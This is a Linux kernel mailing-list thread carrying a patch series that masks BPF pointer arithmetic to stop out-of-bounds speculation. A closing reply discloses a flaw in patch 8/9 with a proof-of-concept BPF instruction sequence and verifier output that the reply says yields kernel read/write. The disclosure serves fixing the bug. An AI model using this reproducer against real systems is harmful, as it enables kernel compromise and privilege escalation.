bpf fix to prevent oob under speculation
Subsystems (6)
Daniel Borkmann
maintainerv3 cover bpf fix to prevent oob under speculation
This set fixes an out of bounds case under speculative execution by implementing masking of pointer alu into the verifier. For details please see the individual patches.
Thanks!
v2 -> v3:
- 8/9: change states_equal condition into old->speculative &&
!cur->speculative, thanks Jakub!
- 8/9: remove incorrect speculative state test in propagate_liveness(), thanks Jakub!
v1 -> v2:
- Typo fixes in commit msg and a comment, thanks David!
Daniel Borkmann (9):
bpf: move {prev_,}insn_idx into verifier env
bpf: move tmp variable into ax register in interpreter
bpf: enable access to ax register also from verifier rewrite
bpf: restrict map value pointer arithmetic for unprivileged
bpf: restrict stack pointer arithmetic for unprivileged
bpf: restrict unknown scalars of mixed signed bounds for unprivileged
bpf: fix check_map_access smin_value test when pointer contains offset
bpf: prevent out of bounds speculation on pointer arithmetic
bpf: add various test cases to selftests
include/linux/bpf_verifier.h | 12 + include/linux/filter.h | 10 +- kernel/bpf/core.c | 54 +- kernel/bpf/verifier.c | 336 ++++++-- tools/testing/selftests/bpf/test_verifier.c | 1146 ++++++++++++++++++++++++++- 5 files changed, 1451 insertions(+), 107 deletions(-)
Signature · 1 line
2.9.5
Daniel Borkmann
maintainerPATCH v3 1/9 bpf: move {prev_,}insn_idx into verifier env
Move prev_insn_idx and insn_idx from the do_check() function into the verifier environment, so they can be read inside the various helper functions for handling the instructions. It's easier to put this into the environment rather than changing all call-sites only to pass it along. insn_idx is useful in particular since this later on allows to hold state in env->insn_aux_data[env->insn_idx].
--- include/linux/bpf_verifier.h | 2 ++ kernel/bpf/verifier.c | 76 ++++++++++++++++++++++---------------------- 2 files changed, 40 insertions(+), 38 deletions(-)
include/linux/bpf_verifier.h +2 -0
@@ -212,6 +212,8 @@ struct bpf_subprog_info {* one verifier_env per bpf_check() call */ struct bpf_verifier_env { +u32 insn_idx; +u32 prev_insn_idx;struct bpf_prog *prog;/* eBPF program being verified */ const struct bpf_verifier_ops *ops;struct bpf_verifier_stack_elem *head;/* stack of verifier states to be processed */
kernel/bpf/verifier.c +38 -38
208 lines not on this page · raw message
Signature · 1 line
2.9.5
Daniel Borkmann
maintainerPATCH v3 2/9 bpf: move tmp variable into ax register in interpreter
In reply to Daniel BorkmannThis change moves the on-stack 64 bit tmp variable in ___bpf_prog_run() into the hidden ax register. The latter is currently only used in JITs for constant blinding as a temporary scratch register, meaning the BPF interpreter will never see the use of ax. Therefore it is safe to use it for the cases where tmp has been used earlier. This is needed to later on allow restricted hidden use of ax in both interpreter and JITs.
--- include/linux/filter.h | 3 ++- kernel/bpf/core.c | 34 +++++++++++++++++----------------- 2 files changed, 19 insertions(+), 18 deletions(-)
include/linux/filter.h +2 -1
@@ -60,7 +60,8 @@ struct sock_reuseport;* constants. See JIT pre-step in bpf_jit_blind_constants(). */ #define BPF_REG_AX MAX_BPF_REG -#define MAX_BPF_JIT_REG (MAX_BPF_REG + 1) +#define MAX_BPF_EXT_REG (MAX_BPF_REG + 1) +#define MAX_BPF_JIT_REG MAX_BPF_EXT_REG/* unused opcode to mark special call to bpf_tail_call() helper */ #define BPF_TAIL_CALL 0xf0
kernel/bpf/core.c +17 -17
@@ -54,6 +54,7 @@#define DST regs[insn->dst_reg]#define SRC regs[insn->src_reg]#define FP regs[BPF_REG_FP] +#define AX regs[BPF_REG_AX]#define ARG1 regs[BPF_REG_ARG1]#define CTX regs[BPF_REG_CTX]#define IMM insn->imm
@@ -1188,7 +1189,6 @@ bool bpf_opcode_in_insntable(u8 code)*/ static u64 ___bpf_prog_run (u64 *regs,const struct bpf_insn *insn,u64 *stack) { -u64 tmp;#define BPF_INSN_2_LBL (x, y) [BPF_##x | BPF_##y] = &&x##_##y#define BPF_INSN_3_LBL (x, y, z) [BPF_##x | BPF_##y | BPF_##z] = &&x##_##y##_##zstatic const void *jumptable[256 ] = {
@@ -1268,36 +1268,36 @@ static u64 ___bpf_prog_run(u64 *regs, const struct bpf_insn *insn, u64 *stack) (*(s64 *) &DST ) >>=IMM ;CONT ; ALU64_MOD_X: -div64_u64_rem (DST ,SRC , &tmp); -DST = tmp; +div64_u64_rem (DST ,SRC , &AX ); +DST =AX ;CONT ; ALU_MOD_X: - tmp = (u32 )DST ; -DST =do_div (tmp, (u32 )SRC ); +AX = (u32 )DST ; +DST =do_div (AX , (u32 )SRC );CONT ; ALU64_MOD_K: -div64_u64_rem (DST ,IMM , &tmp); -DST = tmp; +div64_u64_rem (DST ,IMM , &AX ); +DST =AX ;CONT ; ALU_MOD_K: - tmp = (u32 )DST ; -DST =do_div (tmp, (u32 )IMM ); +AX = (u32 )DST ; +DST =do_div (AX , (u32 )IMM );CONT ; ALU64_DIV_X:DST =div64_u64 (DST ,SRC );CONT ; ALU_DIV_X: - tmp = (u32 )DST ; -do_div (tmp, (u32 )SRC ); -DST = (u32 ) tmp; +AX = (u32 )DST ; +do_div (AX , (u32 )SRC ); +DST = (u32 )AX ;CONT ; ALU64_DIV_K:DST =div64_u64 (DST ,IMM );CONT ; ALU_DIV_K: - tmp = (u32 )DST ; -do_div (tmp, (u32 )IMM ); -DST = (u32 ) tmp; +AX = (u32 )DST ; +do_div (AX , (u32 )IMM ); +DST = (u32 )AX ;CONT ; ALU_END_TO_BE:switch (IMM ) {
@@ -1553,7 +1553,7 @@ STACK_FRAME_NON_STANDARD(___bpf_prog_run); /* jump table */static unsigned int PROG_NAME (stack_size )(const void *ctx,const struct bpf_insn *insn) \ { \u64 stack[stack_size /sizeof (u64)]; \ -u64 regs[MAX_BPF_REG ]; \ +u64 regs[MAX_BPF_EXT_REG ]; \ \FP = (u64 ) (unsigned long ) &stack[ARRAY_SIZE (stack)]; \ARG1 = (u64 ) (unsigned long ) ctx; \
@@ -1566,7 +1566,7 @@ static u64 PROG_NAME_ARGS(stack_size)(u64 r1, u64 r2, u64 r3, u64 r4, u64 r5, \ const struct bpf_insn *insn) \ { \u64 stack[stack_size /sizeof (u64)]; \ -u64 regs[MAX_BPF_REG ]; \ +u64 regs[MAX_BPF_EXT_REG ]; \ \FP = (u64 ) (unsigned long ) &stack[ARRAY_SIZE (stack)]; \BPF_R1 = r1; \
Signature · 1 line
2.9.5
Daniel Borkmann
maintainerPATCH v3 3/9 bpf: enable access to ax register also from verifier rewrite
In reply to Daniel BorkmannRight now we are using BPF ax register in JIT for constant blinding as well as in interpreter as temporary variable. Verifier will not be able to use it simply because its use will get overridden from the former in bpf_jit_blind_insn(). However, it can be made to work in that blinding will be skipped if there is prior use in either source or destination register on the instruction. Taking constraints of ax into account, the verifier is then open to use it in rewrites under some constraints. Note, ax register already has mappings in every eBPF JIT.
--- include/linux/filter.h | 7 +------ kernel/bpf/core.c | 20 ++++++++++++++++++++ 2 files changed, 21 insertions(+), 6 deletions(-)
include/linux/filter.h +1 -6
@@ -53,12 +53,7 @@ struct sock_reuseport;#define BPF_REG_D BPF_REG_8/* data, callee-saved */ #define BPF_REG_H BPF_REG_9/* hlen, callee-saved */ -/* Kernel hidden auxiliary/helper register for hardening step. -* Only used by eBPF JITs. It's nothing more than a temporary -* register that JITs use internally, only that here it's part -* of eBPF instructions that have been rewritten for blinding -* constants. See JIT pre-step in bpf_jit_blind_constants(). -*/ +/* Kernel hidden auxiliary/helper register. */ #define BPF_REG_AX MAX_BPF_REG#define MAX_BPF_EXT_REG (MAX_BPF_REG + 1)#define MAX_BPF_JIT_REG MAX_BPF_EXT_REG
kernel/bpf/core.c +20 -0
@@ -858,6 +858,26 @@ static int bpf_jit_blind_insn(const struct bpf_insn *from,BUILD_BUG_ON (BPF_REG_AX +1 !=MAX_BPF_JIT_REG );BUILD_BUG_ON (MAX_BPF_REG +1 !=MAX_BPF_JIT_REG ); +/* Constraints on AX register: +* +* AX register is inaccessible from user space. It is mapped in +* all JITs, and used here for constant blinding rewrites. It is +* typically "stateless" meaning its contents are only valid within +* the executed instruction, but not across several instructions. +* There are a few exceptions however which are further detailed +* below. +* +* Constant blinding is only used by JITs, not in the interpreter. +* The interpreter uses AX in some occasions as a local temporary +* register e.g. in DIV or MOD instructions. +* +* In restricted circumstances, the verifier can also use the AX +* register for rewrites as long as they do not interfere with +* the above cases! +*/ +if (from->dst_reg ==BPF_REG_AX || from->src_reg ==BPF_REG_AX ) + goto out; +if (from->imm ==0 && (from->code == (BPF_ALU |BPF_MOV |BPF_K ) || from->code == (BPF_ALU64 |BPF_MOV |BPF_K ))) {
Signature · 1 line
2.9.5
Daniel Borkmann
maintainerPATCH v3 4/9 bpf: restrict map value pointer arithmetic for unprivileged
In reply to Daniel BorkmannRestrict map value pointer arithmetic for unprivileged users in that arithmetic itself must not go out of bounds as opposed to the actual access later on. Therefore after each adjust_ptr_min_max_vals() with a map value pointer as a destination it will simulate a check_map_access() of 1 byte on the destination and once that fails the program is rejected for unprivileged program loads. We use this later on for masking any pointer arithmetic with the remainder of the map value space. The likelihood of breaking any existing real-world unprivileged eBPF program is very small for this corner case.
--- kernel/bpf/verifier.c | 11 +++++++++++ 1 file changed, 11 insertions(+)
kernel/bpf/verifier.c +11 -0
@@ -3249,6 +3249,17 @@ static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,__update_reg_bounds (dst_reg);__reg_deduce_bounds (dst_reg);__reg_bound_offset (dst_reg); + +/* For unprivileged we require that resulting offset must be in bounds +* in order to be able to sanitize access later on. +*/ +if (!env->allow_ptr_leaks && dst_reg->type ==PTR_TO_MAP_VALUE && +check_map_access (env, dst, dst_reg->off,1 , false)) { +verbose (env,"R%d pointer arithmetic of map value goes out of range, prohibited for !root\n" , + dst); +return -EACCES ; + } +return 0 ; }
Signature · 1 line
2.9.5
Daniel Borkmann
maintainerPATCH v3 5/9 bpf: restrict stack pointer arithmetic for unprivileged
In reply to Daniel BorkmannRestrict stack pointer arithmetic for unprivileged users in that arithmetic itself must not go out of bounds as opposed to the actual access later on. Therefore after each adjust_ptr_min_max_vals() with a stack pointer as a destination we simulate a check_stack_access() of 1 byte on the destination and once that fails the program is rejected for unprivileged program loads. This is analog to map value pointer arithmetic and needed for masking later on.
--- kernel/bpf/verifier.c | 63 +++++++++++++++++++++++++++++++++------------------ 1 file changed, 41 insertions(+), 22 deletions(-)
kernel/bpf/verifier.c +41 -22
@@ -1387,6 +1387,31 @@ static int check_stack_read(struct bpf_verifier_env *env, } } +static int check_stack_access (struct bpf_verifier_env *env, +const struct bpf_reg_state *reg, +int off,int size) +{ +/* Stack accesses must be at a fixed offset, so that we +* can determine what type of data were returned. See +* check_stack_read(). +*/ +if (!tnum_is_const (reg->var_off)) { +char tn_buf[48 ]; + +tnum_strn (tn_buf,sizeof (tn_buf), reg->var_off); +verbose (env,"variable stack access var_off=%s off=%d size=%d" , + tn_buf, off, size); +return -EACCES ; + } + +if (off >=0 || off < -MAX_BPF_STACK ) { +verbose (env,"invalid stack off=%d size=%d\n" , off, size); +return -EACCES ; + } + +return 0 ; +} +/* check read/write into map element returned by bpf_map_lookup_elem() */ static int __check_map_access (struct bpf_verifier_env *env,u32 regno,int off,int size,bool zero_size_allowed)
@@ -1954,24 +1979,10 @@ static int check_mem_access(struct bpf_verifier_env *env, int insn_idx, u32 regn } }else if (reg->type ==PTR_TO_STACK ) { -/* stack accesses must be at a fixed offset, so that we can -* determine what type of data were returned. -* See check_stack_read(). -*/ -if (!tnum_is_const (reg->var_off)) { -char tn_buf[48 ]; - -tnum_strn (tn_buf,sizeof (tn_buf), reg->var_off); -verbose (env,"variable stack access var_off=%s off=%d size=%d" , - tn_buf, off, size); -return -EACCES ; - } off += reg->var_off.value; -if (off >=0 || off < -MAX_BPF_STACK ) { -verbose (env,"invalid stack off=%d size=%d\n" , off, - size); -return -EACCES ; - } + err =check_stack_access (env, reg, off, size); +if (err) +return err; state =func (env, reg); err =update_stack_depth (env, state, off);
@@ -3253,11 +3264,19 @@ static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,/* For unprivileged we require that resulting offset must be in bounds * in order to be able to sanitize access later on. */ -if (!env->allow_ptr_leaks && dst_reg->type ==PTR_TO_MAP_VALUE && -check_map_access (env, dst, dst_reg->off,1 , false)) { -verbose (env,"R%d pointer arithmetic of map value goes out of range, prohibited for !root\n" , - dst); -return -EACCES ; +if (!env->allow_ptr_leaks) { +if (dst_reg->type ==PTR_TO_MAP_VALUE && +check_map_access (env, dst, dst_reg->off,1 , false)) { +verbose (env,"R%d pointer arithmetic of map value goes out of range, " +"prohibited for !root\n" , dst); +return -EACCES ; + }else if (dst_reg->type ==PTR_TO_STACK && +check_stack_access (env, dst_reg, dst_reg->off + + dst_reg->var_off.value,1 )) { +verbose (env,"R%d stack pointer arithmetic goes out of range, " +"prohibited for !root\n" , dst); +return -EACCES ; + } }return 0 ;
Signature · 1 line
2.9.5
Daniel Borkmann
maintainerPATCH v3 6/9 bpf: restrict unknown scalars of mixed signed bounds for unprivileged
In reply to Daniel BorkmannFor unknown scalars of mixed signed bounds, meaning their smin_value is negative and their smax_value is positive, we need to reject arithmetic with pointer to map value. For unprivileged the goal is to mask every map pointer arithmetic and this cannot reliably be done when it is unknown at verification time whether the scalar value is negative or positive. Given this is a corner case, the likelihood of breaking should be very small.
--- kernel/bpf/verifier.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-)
kernel/bpf/verifier.c +8 -1
@@ -3081,8 +3081,8 @@ static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env, smin_ptr = ptr_reg->smin_value, smax_ptr = ptr_reg->smax_value;u64 umin_val = off_reg->umin_value, umax_val = off_reg->umax_value, umin_ptr = ptr_reg->umin_value, umax_ptr = ptr_reg->umax_value; +u32 dst = insn->dst_reg, src = insn->src_reg;u8 opcode =BPF_OP (insn->code); -u32 dst = insn->dst_reg; dst_reg = ®s[dst];
@@ -3115,6 +3115,13 @@ static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,verbose (env,"R%d pointer arithmetic on %s prohibited\n" , dst, reg_type_str[ptr_reg->type]);return -EACCES ; +case PTR_TO_MAP_VALUE : +if (!env->allow_ptr_leaks && !known && (smin_val <0 ) != (smax_val <0 )) { +verbose (env,"R%d has unknown scalar with mixed signed bounds, pointer arithmetic with it prohibited for !root\n" , + off_reg == dst_reg ? dst : src); +return -EACCES ; + } +/* fall-through */ default :break ; }
Signature · 1 line
2.9.5
Daniel Borkmann
maintainerPATCH v3 7/9 bpf: fix check_map_access smin_value test when pointer contains offset
In reply to Daniel BorkmannIn check_map_access() we probe actual bounds through __check_map_access() with offset of reg->smin_value + off for lower bound and offset of reg->umax_value + off for the upper bound. However, even though the reg->smin_value could have a negative value, the final result of the sum with off could be positive when pointer arithmetic with known and unknown scalars is combined. In this case we reject the program with an error such as "R<x> min value is negative, either use unsigned index or do a if (index >=0) check." even though the access itself would be fine. Therefore extend the check to probe whether the actual resulting reg->smin_value + off is less than zero.
--- kernel/bpf/verifier.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-)
kernel/bpf/verifier.c +5 -1
@@ -1443,13 +1443,17 @@ static int check_map_access(struct bpf_verifier_env *env, u32 regno,*/ if (env->log.level)print_verifier_state (env, state); +/* The minimum value is only important with signed * comparisons where we can't assume the floor of a * value is 0. If we are using signed variables for our * index'es we need to make sure that whatever we use * will have a set floor within our range. */ -if (reg->smin_value <0 ) { +if (reg->smin_value <0 && + (reg->smin_value ==S64_MIN || + (off + reg->smin_value != (s64)(s32)(off + reg->smin_value)) || + reg->smin_value + off <0 )) {verbose (env,"R%d min value is negative, either use unsigned index or do a if (index >=0) check.\n" , regno);return -EACCES ;
Signature · 1 line
2.9.5
Daniel Borkmann
maintainerPATCH v3 8/9 bpf: prevent out of bounds speculation on pointer arithmetic
In reply to Daniel BorkmannJann reported that the original commit back in b2157399cc98 ("bpf: prevent out-of-bounds speculation") was not sufficient to stop CPU from speculating out of bounds memory access:
While b2157399cc98 only focussed on masking array map access for unprivileged users for tail calls and data access such that the user provided index gets sanitized from BPF program and syscall side, there is still a more generic form affected from BPF programs that applies to most maps that hold user data in relation to dynamic map access when dealing with unknown scalars or "slow" known scalars as access offset, for example:
- Load a map value pointer into R6
- Load an index into R7
- Do a slow computation (e.g. with a memory dependency) that loads a limit into R8 (e.g. load the limit from a map for high latency, then mask it to make the verifier happy)
- Exit if R7 >= R8 (mispredicted branch)
- Load R0 = R6[R7]
- Load R0 = R6[R0]
For unknown scalars there are two options in the BPF verifier where we could derive knowledge from in order to guarantee safe access to the memory: i) While </>/<=/>= variants won't allow to derive any lower or upper bounds from the unknown scalar where it would be safe to add it to the map value pointer, it is possible through ==/!= test however. ii) another option is to transform the unknown scalar into a known scalar, for example, through ALU ops combination such as R &= <imm> followed by R |= <imm> or any similar combination where the original information from the unknown scalar would be destroyed entirely leaving R with a constant. The initial slow load still precedes the latter ALU ops on that register, so the CPU executes speculatively from that point. Once we have the known scalar, any compare operation would work then. A third option only involving registers with known scalars could be crafted as described in [0] where a CPU port (e.g. Slow Int unit) would be filled with many dependent computations such that the subsequent condition depending on its outcome has to wait for evaluation on its execution port and thereby executing speculatively if the speculated code can be scheduled on a different execution port, or any other form of mistraining as described in [1], for example. Given this is not limited to only unknown scalars, not only map but also stack access is affected since both is accessible for unprivileged users and could potentially be used for out of bounds access under speculation.
In order to prevent any of these cases, the verifier is now sanitizing pointer arithmetic on the offset such that any out of bounds speculation would be masked in a way where the pointer arithmetic result in the destination register will stay unchanged, meaning offset masked into zero similar as in array_index_nospec() case. With regards to implementation, there are three options that were considered: i) new insn for sanitation, ii) push/pop insn and sanitation as inlined BPF, iii) reuse of ax register and sanitation as inlined BPF.
Option i) has the downside that we end up using from reserved bits in the opcode space, but also that we would require each JIT to emit masking as native arch opcodes meaning mitigation would have slow adoption till everyone implements it eventually which is counter-productive. Option ii) and iii) have both in common that a temporary register is needed in order to implement the sanitation as inlined BPF since we are not allowed to modify the source register. While a push / pop insn in ii) would be useful to have in any case, it requires once again that every JIT needs to implement it first. While possible, amount of changes needed would also be unsuitable for a -stable patch. Therefore, the path which has fewer changes, less BPF instructions for the mitigation and does not require anything to be changed in the JITs is option iii) which this work is pursuing. The ax register is already mapped to a register in all JITs (modulo arm32 where it's mapped to stack as various other BPF registers there) and used in constant blinding for JITs-only so far. It can be reused for verifier rewrites under certain constraints. The interpreter's tmp "register" has therefore been remapped into extending the register set with hidden ax register and reusing that for a number of instructions that needed the prior temporary variable internally (e.g. div, mod). This allows for zero increase in stack space usage in the interpreter, and enables (restricted) generic use in rewrites otherwise as long as such a patchlet does not make use of these instructions. The sanitation mask is dynamic and relative to the offset the map value or stack pointer currently holds.
There are various cases that need to be taken under consideration for the masking, e.g. such operation could look as follows:
ptr += val or val += ptr or ptr -= val. Thus, the value to be sanitized could reside either in source or in destination register, and the limit is different depending on whether the ALU op is addition or subtraction and depending on the current known and bounded offset. The limit is derived as
follows: limit := max_value_size - (smin_value + off). For
subtraction: limit := umax_value + off. This holds because we do not allow any pointer arithmetic that would temporarily go out of bounds or would have an unknown value with mixed signed bounds where it is unclear at verification time whether the actual runtime value would be either negative or positive. For example, we have a derived map pointer value with constant offset and bounded one, so limit based on smin_value works because the verifier requires that statically analyzed arithmetic on the pointer must be in bounds, and thus it checks if resulting smin_value + off and umax_value + off is still within map value bounds at time of arithmetic in addition to time of access. Similarly, for the case of stack access we derive the limit as follows: MAX_BPF_STACK + off for subtraction and -off for the case of addition where off := ptr_reg->off + ptr_reg->var_off.value. Subtraction is a special case for the masking which can be in form of ptr += -val, ptr -= -val, or ptr -= val. In the first two cases where we know that the value is negative, we need to temporarily negate the value in order to do the sanitation on a positive value where we later swap the ALU op, and restore original source register if the value was in source.
The sanitation of pointer arithmetic alone is still not fully sufficient as is, since a scenario like the following could happen ...
PTR += 0x1000 (e.g. K-based imm)
PTR -= BIG_NUMBER_WITH_SLOW_COMPARISON
PTR += 0x1000
PTR -= BIG_NUMBER_WITH_SLOW_COMPARISON
[...]
... which under speculation could end up as ...
PTR += 0x1000
PTR -= 0 [ truncated by mitigation ]
PTR += 0x1000
PTR -= 0 [ truncated by mitigation ]
[...]
... and therefore still access out of bounds. To prevent such case, the verifier is also analyzing safety for potential out of bounds access under speculative execution. Meaning, it is also simulating pointer access under truncation. We therefore "branch off" and push the current verification state after the ALU operation with known 0 to the verification stack for later analysis. Given the current path analysis succeeded it is likely that the one under speculation can be pruned. In any case, it is also subject to existing complexity limits and therefore anything beyond this point will be rejected. In terms of pruning, it needs to be ensured that the verification state from speculative execution simulation must never prune a non-speculative execution path, therefore, we mark verifier state accordingly at the time of push_stack(). If verifier detects out of bounds access under speculative execution from one of the possible paths that includes a truncation, it will reject such program.
Given we mask every reg-based pointer arithmetic for unprivileged programs, we've been looking into how it could affect real-world programs in terms of size increase. As the majority of programs are targeted for privileged-only use case, we've unconditionally enabled masking (with its alu restrictions on top of it) for privileged programs for the sake of testing in order to check i) whether they get rejected in its current form, and ii) by how much the number of instructions and size will increase. We've tested this by using Katran, Cilium and test_l4lb from the kernel selftests. For Katran we've evaluated balancer_kern.o, Cilium bpf_lxc.o and an older test object bpf_lxc_opt_-DUNKNOWN.o and l4lb we've used test_l4lb.o as well as test_l4lb_noinline.o. We found that none of the programs got rejected by the verifier with this change, and that impact is rather minimal to none. balancer_kern.o had 13,904 bytes (1,738 insns) xlated and 7,797 bytes JITed before and after the change. Most complex program in bpf_lxc.o had 30,544 bytes (3,817 insns) xlated and 18,538 bytes JITed before and after and none of the other tail call programs in bpf_lxc.o had any changes either. For the older bpf_lxc_opt_-DUNKNOWN.o object we found a small increase from 20,616 bytes (2,576 insns) and 12,536 bytes JITed before to 20,664 bytes (2,582 insns) and 12,558 bytes JITed after the change. Other programs from that object file had similar small increase. Both test_l4lb.o had no change and remained at 6,544 bytes (817 insns) xlated and 3,401 bytes JITed and for test_l4lb_noinline.o constant at 5,080 bytes (634 insns) xlated and 3,313 bytes JITed. This can be explained in that LLVM typically optimizes stack based pointer arithmetic by using K-based operations and that use of dynamic map access is not overly frequent. However, in future we may decide to optimize the algorithm further under known guarantees from branch and value speculation. Latter seems also unclear in terms of prediction heuristics that today's CPUs apply as well as whether there could be collisions in e.g. the predictor's Value History/Pattern Table for triggering out of bounds access, thus masking is performed unconditionally at this point but could be subject to relaxation later on. We were generally also brainstorming various other approaches for mitigation, but the blocker was always lack of available registers at runtime and/or overhead for runtime tracking of limits belonging to a specific pointer. Thus, we found this to be minimally intrusive under given constraints.
With that in place, a simple example with sanitized access on unprivileged load at post-verification time looks as follows:
# bpftool prog dump xlated id 282 [...] 28: (79) r1 = *(u64 *)(r7 +0) 29: (79) r2 = *(u64 *)(r7 +8) 30: (57) r1 &= 15 31: (79) r3 = *(u64 *)(r0 +4608) 32: (57) r3 &= 1 33: (47) r3 |= 1 34: (2d) if r2 > r3 goto pc+19 35: (b4) (u32) r11 = (u32) 20479 | 36: (1f) r11 -= r2 | Dynamic sanitation for pointer 37: (4f) r11 |= r2 | arithmetic with registers 38: (87) r11 = -r11 | containing bounded or known 39: (c7) r11 s>>= 63 | scalars in order to prevent 40: (5f) r11 &= r2 | out of bounds speculation. 41: (0f) r4 += r11 | 42: (71) r4 = *(u8 *)(r4 +0) 43: (6f) r4 <<= r1 [...]
For the case where the scalar sits in the destination register as opposed to the source register, the following code is emitted for the above example:
[...]
16: (b4) (u32) r11 = (u32) 20479
17: (1f) r11 -= r2
18: (4f) r11 |= r2
19: (87) r11 = -r11
20: (c7) r11 s>>= 63
21: (5f) r2 &= r11
22: (0f) r2 += r0
23: (61) r0 = *(u32 *)(r2 +0)
[...]
JIT blinding example with non-conflicting use of r10:
[...]
d5: je 0x0000000000000106 _ d7: mov 0x0(%rax),%edi | da: mov $0xf153246,%r10d | Index load from map value and e0: xor $0xf153259,%r10 | (const blinded) mask with 0x1f. e7: and %r10,%rdi |_ ea: mov $0x2f,%r10d | f0: sub %rdi,%r10 | Sanitized addition. Both use r10 f3: or %rdi,%r10 | but do not interfere with each f6: neg %r10 | other. (Neither do these instructions f9: sar $0x3f,%r10 | interfere with the use of ax as temp fd: and %r10,%rdi | in interpreter.) 100: add %rax,%rdi |_ 103: mov 0x0(%rdi),%eax
[...]
Tested that it fixes Jann's reproducer, and also checked that test_verifier and test_progs suite with interpreter, JIT and JIT with hardening enabled on x86-64 and arm64 runs successfully.
[0] Speculose: Analyzing the Security Implications of Speculative Execution in CPUs, Giorgi Maisuradze and Christian Rossow,
https://arxiv.org/pdf/1801.04084.pdf
[1] A Systematic Evaluation of Transient Execution Attacks and Defenses, Claudio Canella, Jo Van Bulck, Michael Schwarz, Moritz Lipp, Benjamin von Berg, Philipp Ortner, Frank Piessens, Dmitry Evtyushkin, Daniel Gruss,
https://arxiv.org/pdf/1811.05441.pdf
--- include/linux/bpf_verifier.h | 10 +++ kernel/bpf/verifier.c | 185 +++++++++++++++++++++++++++++++++++++++++-- 2 files changed, 189 insertions(+), 6 deletions(-)
include/linux/bpf_verifier.h +10 -0
@@ -148,6 +148,7 @@ struct bpf_verifier_state {/* call stack tracking */ struct bpf_func_state *frame[MAX_CALL_FRAMES ];u32 curframe; +bool speculative; };#define bpf_get_spilled_reg (slot, frame) \
@@ -167,15 +168,24 @@ struct bpf_verifier_state_list {struct bpf_verifier_state_list *next; }; +/* Possible states for alu_state member. */ +#define BPF_ALU_SANITIZE_SRC 1U +#define BPF_ALU_SANITIZE_DST 2U +#define BPF_ALU_NEG_VALUE (1U << 2) +#define BPF_ALU_SANITIZE (BPF_ALU_SANITIZE_SRC | \ + BPF_ALU_SANITIZE_DST) +struct bpf_insn_aux_data {union {enum bpf_reg_type ptr_type;/* pointer type for load/store insns */ unsigned long map_state;/* pointer/poison value for maps */ s32 call_imm;/* saved imm field of call insn */ +u32 alu_limit;/* limit for add/sub register with pointer */ };int ctx_field_size;/* the ctx field size for load insn, maybe 0 */ int sanitize_stack_off;/* stack slot to be cleared */ bool seen;/* this insn was processed by the verifier */ +u8 alu_state;/* used in combination with alu_limit */ };#define MAX_USED_MAPS 64/* max number of maps accessed by one eBPF program */
kernel/bpf/verifier.c +179 -6
263 lines not on this page · raw message
Signature · 1 line
2.9.5
Re: [PATCH bpf v3 8/9] bpf: prevent out of bounds speculation on pointer arithmetic
Hi!
Sorry about the extremely slow reply, I was on vacation over the holidays and only got back today.
Quoted 11 lines · Daniel Borkmann
Jann reported that the original commit back in
b2157399cc98("bpf: prevent out-of-bounds speculation") was not sufficient to stop CPU from speculating out of bounds memory access:
Whileb2157399cc98only focussed on masking array map access for unprivileged users for tail calls and data access such that the user provided index gets sanitized from BPF program and syscall side, there is still a more generic form affected from BPF programs that applies to most maps that hold user data in relation to dynamic map access when dealing with unknown scalars or "slow" known scalars as access offset, for example:
[...]
Quoted 6 lines
kernel/bpf/verifier.c +6
-0+static int sanitize_ptr_alu (struct bpf_verifier_env *env, +struct bpf_insn *insn, +const struct bpf_reg_state *ptr_reg, +struct bpf_reg_state *dst_reg, +bool off_is_neg) +{
[...]
kernel/bpf/verifier.c static bool check_reg_sane_offset(struct bpf_verifier_env *env, · line 3143
Quoted 8 lines
kernel/bpf/verifier.c +8
-0+ +/* If we arrived here from different branches with different +* limits to sanitize, then this won't work. +*/ +if (aux->alu_state && + (aux->alu_state != alu_state || + aux->alu_limit != alu_limit)) +return -EACCES ;
This code path doesn't get triggered in the case where the same ALU_ADD64 instruction is used for both "ptr += reg" and "numeric_reg += reg". This leads to kernel read/write because the code intended to ensure safety of the "ptr += reg" case in speculative execution ends up clobbering the addend in the "numeric_reg += reg" case:
source code:
=============
int main(void) {
int my_map = array_create(8, 30);
array_set(my_map, 0, 1);
struct bpf_insn insns[] = {
// load map value pointer into r0 and r2
BPF_LD_MAP_FD(BPF_REG_ARG1, my_map),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -16),
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -16, 0),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
// load some number from the map into r1
BPF_LDX_MEM(BPF_B, BPF_REG_1, BPF_REG_0, 0),
// depending on R1, branch:
BPF_JMP_IMM(BPF_JNE, BPF_REG_1, 0, 3),
// branch A
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_3, 0),
BPF_JMP_A(2),
// branch B
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_IMM(BPF_REG_3, 0x100000),
// *** COMMON INSTRUCTION ***
BPF_ALU64_REG(BPF_ADD, BPF_REG_2, BPF_REG_3),
// depending on R1, branch:
BPF_JMP_IMM(BPF_JNE, BPF_REG_1, 0, 1),
// branch A
BPF_JMP_A(4),
// branch B
BPF_MOV64_IMM(BPF_REG_0, 0x13371337),
// verifier-confused branch: verifier follows fall-through,
runtime follows jump
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0x100000, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
// fake-dead code; targeted from branch A to prevent dead code sanitization
BPF_LDX_MEM(BPF_B, BPF_REG_0, BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN() };
int sock_fd = create_filtered_socket_fd(insns, ARRSIZE(insns)); trigger_proc(sock_fd);
}
=============
verifier output:
=============
0: (18) r1 = 0x0
2: (bf) r2 = r10
3: (07) r2 += -16
4: (7a) *(u64 *)(r10 -16) = 0
5: (85) call bpf_map_lookup_elem#1
6: (55) if r0 != 0x0 goto pc+1
R0=inv0 R10=fp0,call_-1 fp-16=mmmmmmmm
7: (95) exit
